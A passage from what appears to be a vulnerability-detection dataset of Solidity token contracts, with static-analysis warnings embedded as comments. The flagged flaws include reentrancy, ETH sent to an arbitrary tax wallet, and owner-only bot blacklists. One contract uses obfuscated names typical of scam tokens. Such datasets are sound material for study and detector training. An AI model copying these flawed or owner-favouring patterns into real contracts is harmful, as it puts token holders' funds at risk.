private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: 5ff7802\n\t\t// reentrancy-events | ID: 5be1ae8\n\t\t// reentrancy-events | ID: 4fc2e5f\n\t\t// reentrancy-benign | ID: 51ace37\n\t\t// reentrancy-benign | ID: 797461d\n\t\t// reentrancy-eth | ID: 972156e\n\t\t// reentrancy-eth | ID: 4a18668\n\t\t// reentrancy-eth | ID: e6fd7b1\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function removeLimits() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: 14e466b): Tweet.sendETHToFee(uint256) sends eth to arbitrary user Dangerous calls _taxWallet.transfer(amount)\n\t// Recommendation for 14e466b: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: 5ff7802\n\t\t// reentrancy-events | ID: 5be1ae8\n\t\t// reentrancy-events | ID: 4fc2e5f\n\t\t// reentrancy-eth | ID: 972156e\n\t\t// reentrancy-eth | ID: 4a18668\n\t\t// reentrancy-eth | ID: e6fd7b1\n\t\t// arbitrary-send-eth | ID: 14e466b\n _taxWallet.transfer(amount);\n }\n\n function addBots(address[] memory bots_) public onlyOwner {\n for (uint i = 0; i < bots_.length; i++) {\n bots[bots_[i]] = true;\n }\n }\n\n function delBots(address[] memory notbot) public onlyOwner {\n for (uint i = 0; i < notbot.length; i++) {\n bots[notbot[i]] = false;\n }\n }\n\n function isBot(address a) public view returns (bool) {\n return bots[a];\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 4fc2e5f): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 4fc2e5f: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 51ace37): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 51ace37: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: f0d4d18): Tweet.openTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for f0d4d18: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 2c5b36b): Tweet.openTrading() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for 2c5b36b: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 972156e): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 972156e: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: e6fd7b1): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for e6fd7b1: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function openTrading() public onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), msg.sender, type(uint256).max);\n\n\t\t// reentrancy-events | ID: 4fc2e5f\n\t\t// reentrancy-benign | ID: 51ace37\n\t\t// reentrancy-eth | ID: 972156e\n\t\t// reentrancy-eth | ID: e6fd7b1\n transfer(address(this), balanceOf(msg.sender).mul(95).div(100));\n\n\t\t// reentrancy-events | ID: 4fc2e5f\n\t\t// reentrancy-benign | ID: 51ace37\n\t\t// reentrancy-eth | ID: 972156e\n\t\t// reentrancy-eth | ID: e6fd7b1\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n\t\t// reentrancy-events | ID: 4fc2e5f\n\t\t// reentrancy-benign | ID: 51ace37\n _approve(address(this), address(uniswapV2Router), type(uint256).max);\n\n\t\t// unused-return | ID: f0d4d18\n\t\t// reentrancy-eth | ID: e6fd7b1\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// unused-return | ID: 2c5b36b\n\t\t// reentrancy-eth | ID: e6fd7b1\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);\n\n\t\t// reentrancy-eth | ID: e6fd7b1\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: e6fd7b1\n tradingOpen = true;\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: 1479182): Tweet.reduceFee(uint256) should emit an event for _finalSellTax = _newFee \n\t// Recommendation for 1479182: Emit an event for critical parameter changes.\n function reduceFee(uint256 _newFee) external onlyOwner {\n require(_msgSender() == _taxWallet);\n\n\t\t// events-maths | ID: 1479182\n _finalSellTax = _newFee;\n }\n\n receive() external payable {}\n\n function manualSwap() external {\n require(_msgSender() == _taxWallet);\n\n uint256 tokenBalance = balanceOf(address(this));\n\n if (tokenBalance > 0) {\n swapTokensForEth(tokenBalance);\n }\n\n uint256 ethBalance = address(this).balance;\n\n if (ethBalance > 0) {\n sendETHToFee(ethBalance);\n }\n }\n\n function manualSend() external {\n require(_msgSender() == _taxWallet);\n\n uint256 contractETHBalance = address(this).balance;\n\n sendETHToFee(contractETHBalance);\n }\n}\n",
"file_name": "solidity_code_1020.sol",
"size_bytes": 21821,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: 4006fa4): Ownable.constructor().msgSender lacks a zerocheck on \t _owner = msgSender\n\t// Recommendation for 4006fa4: Check that the address is not zero.\n constructor() {\n address msgSender = _msgSender();\n\n\t\t// missing-zero-check | ID: 4006fa4\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n}\n\ncontract GeneraAI is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n\t// WARNING Optimization Issue (immutable-states | ID: d3ee670): GeneraAI.uniswapV2Router should be immutable \n\t// Recommendation for d3ee670: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n IUniswapV2Router02 private uniswapV2Router;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 95a7ca2): GeneraAI.uniswapV2Pair should be immutable \n\t// Recommendation for 95a7ca2: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address private uniswapV2Pair;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => uint256) private _balances;\n\n string private constant _name = \"Genera AI\";\n\n string private constant _symbol = \"GNAI\";\n\n uint8 private constant _decimals = 18;\n\n uint256 private constant _tTotal = 1_000_000_000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: cff8304): GeneraAI._initialBuyTax should be constant \n\t// Recommendation for cff8304: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 20;\n\n\t// WARNING Optimization Issue (constable-states | ID: 3e5566a): GeneraAI._initialSellTax should be constant \n\t// Recommendation for 3e5566a: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 25;\n\n uint256 private _buyTax;\n\n uint256 private _sellTax;\n\n uint256 public _maxWalletAmount = 10_000_000 * 10 ** _decimals;\n\n uint256 public _maxTxAmount = 10_000_000 * 10 ** _decimals;\n\n uint256 public _maxSwapAmount = 10_000_000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 30c73a0): GeneraAI._taxFeeWallet should be immutable \n\t// Recommendation for 30c73a0: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address private _taxFeeWallet;\n\n bool private swapLimitOn = true;\n\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n event MaxTxAmountUpdated(uint256 _maxTxAmount);\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: e835449): GeneraAI.constructor(address).taxWalletAddress lacks a zerocheck on \t _taxFeeWallet = taxWalletAddress\n\t// Recommendation for e835449: Check that the address is not zero.\n constructor(address taxWalletAddress) {\n uint256 tokenAmount = _tTotal.mul(20).div(100);\n\n\t\t// missing-zero-check | ID: e835449\n _taxFeeWallet = taxWalletAddress;\n\n _buyTax = _initialBuyTax;\n\n _sellTax = _initialSellTax;\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n _balances[_msgSender()] = _tTotal.sub(tokenAmount);\n\n _balances[address(this)] = tokenAmount;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 0a9a294): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 0a9a294: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: ced319f): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for ced319f: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: 0a9a294\n\t\t// reentrancy-benign | ID: ced319f\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: 0a9a294\n\t\t// reentrancy-benign | ID: ced319f\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance.\"\n )\n );\n\n return true;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 042ea71): GeneraAI.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 042ea71: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 0caa269): GeneraAI._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 0caa269: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address.\");\n\n require(spender != address(0), \"ERC20: approve to the zero address.\");\n\n\t\t// reentrancy-benign | ID: ced319f\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: 0a9a294\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 75f63ce): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 75f63ce: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 87dfb07): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 87dfb07: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address.\");\n\n require(to != address(0), \"ERC20: transfer to the zero address.\");\n\n require(\n amount > 0,\n \"_transfer: Transfer amount must be greater than zero.\"\n );\n\n uint256 taxAmount = 0;\n\n uint256 burnAmount = 0;\n\n uint256 totalTaxAmount = 0;\n\n if (from != owner() && to != owner()) {\n require(\n amount <= _maxTxAmount,\n \"_transfer: Amount of transfer exceeds max transaction amount.\"\n );\n\n if (from == uniswapV2Pair && to != address(uniswapV2Router)) {\n require(tradingOpen, \"_transfer: Trade is not yet open.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletAmount,\n \"_transfer: Amount of transfer exceeds max wallet amount.\"\n );\n\n taxAmount = amount.mul(_buyTax).div(100);\n\n totalTaxAmount = taxAmount.add(burnAmount);\n } else if (to == uniswapV2Pair) {\n require(tradingOpen, \"_transfer: Trade is not yet open.\");\n\n taxAmount = amount.mul(_sellTax).div(100);\n\n totalTaxAmount = taxAmount.add(burnAmount);\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (!inSwap && to == uniswapV2Pair) {\n if (swapLimitOn) {\n uint256 getMinValue = (contractTokenBalance >\n _maxSwapAmount)\n ? _maxSwapAmount\n : contractTokenBalance;\n\n\t\t\t\t\t\t// reentrancy-events | ID: 75f63ce\n\t\t\t\t\t\t// reentrancy-eth | ID: 87dfb07\n swapTokensForEth(\n (amount > getMinValue) ? getMinValue : amount\n );\n } else {\n\t\t\t\t\t\t// reentrancy-events | ID: 75f63ce\n\t\t\t\t\t\t// reentrancy-eth | ID: 87dfb07\n swapTokensForEth(contractTokenBalance);\n }\n }\n } else {\n totalTaxAmount = 0;\n }\n }\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0.001 ether) {\n\t\t\t// reentrancy-events | ID: 75f63ce\n\t\t\t// reentrancy-eth | ID: 87dfb07\n sendETHToFeeWallet(address(this).balance);\n }\n\n if (totalTaxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: 87dfb07\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: 75f63ce\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: 87dfb07\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: 87dfb07\n _balances[to] = _balances[to].add(amount.sub(totalTaxAmount));\n\n\t\t// reentrancy-events | ID: 75f63ce\n emit Transfer(from, to, amount.sub(totalTaxAmount));\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n if (tokenAmount == 0) {\n return;\n }\n\n if (tokenAmount > _maxTxAmount) {\n tokenAmount = _maxTxAmount;\n }\n\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: 0a9a294\n\t\t// reentrancy-events | ID: 75f63ce\n\t\t// reentrancy-benign | ID: ced319f\n\t\t// reentrancy-eth | ID: 87dfb07\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(_taxFeeWallet),\n block.timestamp\n );\n }\n\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: 5142bf4): GeneraAI.sendETHToFeeWallet(uint256) sends eth to arbitrary user Dangerous calls address(_taxFeeWallet).transfer(amount)\n\t// Recommendation for 5142bf4: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function sendETHToFeeWallet(uint256 amount) private {\n\t\t// reentrancy-events | ID: 0a9a294\n\t\t// reentrancy-events | ID: 75f63ce\n\t\t// reentrancy-eth | ID: 87dfb07\n\t\t// arbitrary-send-eth | ID: 5142bf4\n payable(_taxFeeWallet).transfer(amount);\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: 83ea944): GeneraAI.setBuyFee(uint256) should emit an event for _buyTax = buyFee \n\t// Recommendation for 83ea944: Emit an event for critical parameter changes.\n function setBuyFee(uint256 buyFee) external onlyOwner {\n require(buyFee <= 20, \"setBuyFee: buyFee shouldn't exceed 20%.\");\n\n\t\t// events-maths | ID: 83ea944\n _buyTax = buyFee;\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: 40081fb): GeneraAI.setSellFee(uint256) should emit an event for _sellTax = sellFee \n\t// Recommendation for 40081fb: Emit an event for critical parameter changes.\n function setSellFee(uint256 sellFee) external onlyOwner {\n require(sellFee <= 20, \"setSellFee: sellFee shouldn't exceed 20%.\");\n\n\t\t// events-maths | ID: 40081fb\n _sellTax = sellFee;\n }\n\n function openTrading() external onlyOwner {\n require(!tradingOpen, \"openTrading: Trading is already open.\");\n\n tradingOpen = true;\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: 6e1d172): GeneraAI.setMaxWalletAmount(uint256) should emit an event for _maxWalletAmount = amount * 10 ** _decimals \n\t// Recommendation for 6e1d172: Emit an event for critical parameter changes.\n function setMaxWalletAmount(uint256 amount) external onlyOwner {\n require(\n amount >= 10_000_000,\n \"setMaxWalletAmount: Amount should be more than 10_000_000 tokens.\"\n );\n\n\t\t// events-maths | ID: 6e1d172\n _maxWalletAmount = amount * 10 ** _decimals;\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: 78017d7): GeneraAI.setMaxTransactionAmount(uint256) should emit an event for _maxTxAmount = amount * 10 ** _decimals \n\t// Recommendation for 78017d7: Emit an event for critical parameter changes.\n function setMaxTransactionAmount(uint256 amount) external onlyOwner {\n require(\n amount >= 10_000_000,\n \"setMaxTransactionAmount: Amount should be more than 10_000_000 tokens.\"\n );\n\n\t\t// events-maths | ID: 78017d7\n _maxTxAmount = amount * 10 ** _decimals;\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: 3d10b74): GeneraAI.setMaxSwapAmountAmount(uint256) should emit an event for _maxSwapAmount = amount * 10 ** _decimals \n\t// Recommendation for 3d10b74: Emit an event for critical parameter changes.\n function setMaxSwapAmountAmount(uint256 amount) external onlyOwner {\n require(\n amount >= 10_000_000,\n \"setMaxSwapAmountAmount: Amount should be more than 10_000_000 tokens.\"\n );\n\n\t\t// events-maths | ID: 3d10b74\n _maxSwapAmount = amount * 10 ** _decimals;\n }\n\n function removeLimit() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletAmount = _tTotal;\n\n swapLimitOn = false;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n function forceSwap() external {\n require(_msgSender() == address(_taxFeeWallet));\n\n uint256 tokenAmount = balanceOf(address(this));\n\n if (tokenAmount > 0) {\n swapTokensForEth(tokenAmount);\n }\n }\n\n receive() external payable {}\n}\n",
"file_name": "solidity_code_10200.sol",
"size_bytes": 18892,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: 9fc7ace): Ownable.constructor().msgSender lacks a zerocheck on \t _owner = msgSender\n\t// Recommendation for 9fc7ace: Check that the address is not zero.\n constructor() {\n address msgSender = _msgSender();\n\n\t\t// missing-zero-check | ID: 9fc7ace\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n}\n\ncontract ETHREX is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n uint256 private constant _x0xBRWL7305 = 0x123456;\n\n uint256 private constant _x0xHLVY9284 = 0xABCDEF;\n\n\t// WARNING Optimization Issue (constable-states | ID: df40bb5): ETHREX.blacklistCount should be constant \n\t// Recommendation for df40bb5: Add the 'constant' attribute to state variables that never change.\n uint256 public blacklistCount = 30;\n\n uint256 public currentBuyCount = 0;\n\n mapping(address => bool) private initialBuyers;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isExcludedFromFee;\n\n mapping(address => bool) private bots;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 1ab3a21): ETHREX._taxWallet should be immutable \n\t// Recommendation for 1ab3a21: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n\t// WARNING Optimization Issue (constable-states | ID: 1609ab4): ETHREX._0xFTWY2043 should be constant \n\t// Recommendation for 1609ab4: Add the 'constant' attribute to state variables that never change.\n uint256 private _0xFTWY2043 = 18;\n\n\t// WARNING Optimization Issue (constable-states | ID: 88e1056): ETHREX._x3KLRX9075 should be constant \n\t// Recommendation for 88e1056: Add the 'constant' attribute to state variables that never change.\n uint256 private _x3KLRX9075 = 18;\n\n\t// WARNING Optimization Issue (constable-states | ID: 1a7a1c1): ETHREX._x7MRQTZ should be constant \n\t// Recommendation for 1a7a1c1: Add the 'constant' attribute to state variables that never change.\n uint256 private _x7MRQTZ = 0;\n\n uint256 private _x5NLYW6028 = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 131ba50): ETHREX._x2BQVP754 should be constant \n\t// Recommendation for 131ba50: Add the 'constant' attribute to state variables that never change.\n uint256 private _x2BQVP754 = 18;\n\n\t// WARNING Optimization Issue (constable-states | ID: 42de462): ETHREX._xGRYX12 should be constant \n\t// Recommendation for 42de462: Add the 'constant' attribute to state variables that never change.\n uint256 private _xGRYX12 = 18;\n\n\t// WARNING Optimization Issue (constable-states | ID: bcdf5cc): ETHREX._x1PLZT8F3 should be constant \n\t// Recommendation for bcdf5cc: Add the 'constant' attribute to state variables that never change.\n uint256 private _x1PLZT8F3 = 18;\n\n uint256 private _buyCount = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 100_000_000 * 10 ** _decimals;\n\n string private _name;\n\n string private _symbol;\n\n uint256 public _x5KQWL9T1 = (_tTotal * 2) / 100;\n\n uint256 public _x0BRXW5K9 = (_tTotal * 2) / 100;\n\n\t// WARNING Optimization Issue (constable-states | ID: f55793b): ETHREX._x6MRVYT3 should be constant \n\t// Recommendation for f55793b: Add the 'constant' attribute to state variables that never change.\n uint256 public _x6MRVYT3 = (_tTotal * 1) / 100;\n\n\t// WARNING Optimization Issue (constable-states | ID: b63e078): ETHREX._maxTaxSwap should be constant \n\t// Recommendation for b63e078: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = (_tTotal * 1) / 100;\n\n IUniswapV2Router02 private uniswapV2Router;\n\n address private uniswapV2Pair;\n\n bool private tradingOpen;\n\n bool private x3PWYLX7 = false;\n\n bool private swapEnabled = false;\n\n uint256 private sellCount = 0;\n\n uint256 private lastSellBlock = 0;\n\n event MaxTxAmountUpdated(uint _x5KQWL9T1);\n\n modifier lockTheSwap() {\n x3PWYLX7 = true;\n\n _;\n\n x3PWYLX7 = false;\n }\n\n constructor(string memory name_, string memory symbol_) payable {\n _name = name_;\n\n _symbol = symbol_;\n\n _taxWallet = payable(_msgSender());\n\n _balances[_msgSender()] = _tTotal;\n\n _isExcludedFromFee[owner()] = true;\n\n _isExcludedFromFee[address(this)] = true;\n\n _isExcludedFromFee[_taxWallet] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n event ChecksumEvent(uint256 indexed dummyness0xEPYQ6139);\n\n function checksum0xCVXZ5107() private pure {}\n\n function checksum0xDMRQ8046() private pure {}\n\n function name() public view returns (string memory) {\n return _name;\n }\n\n function symbol() public view returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return 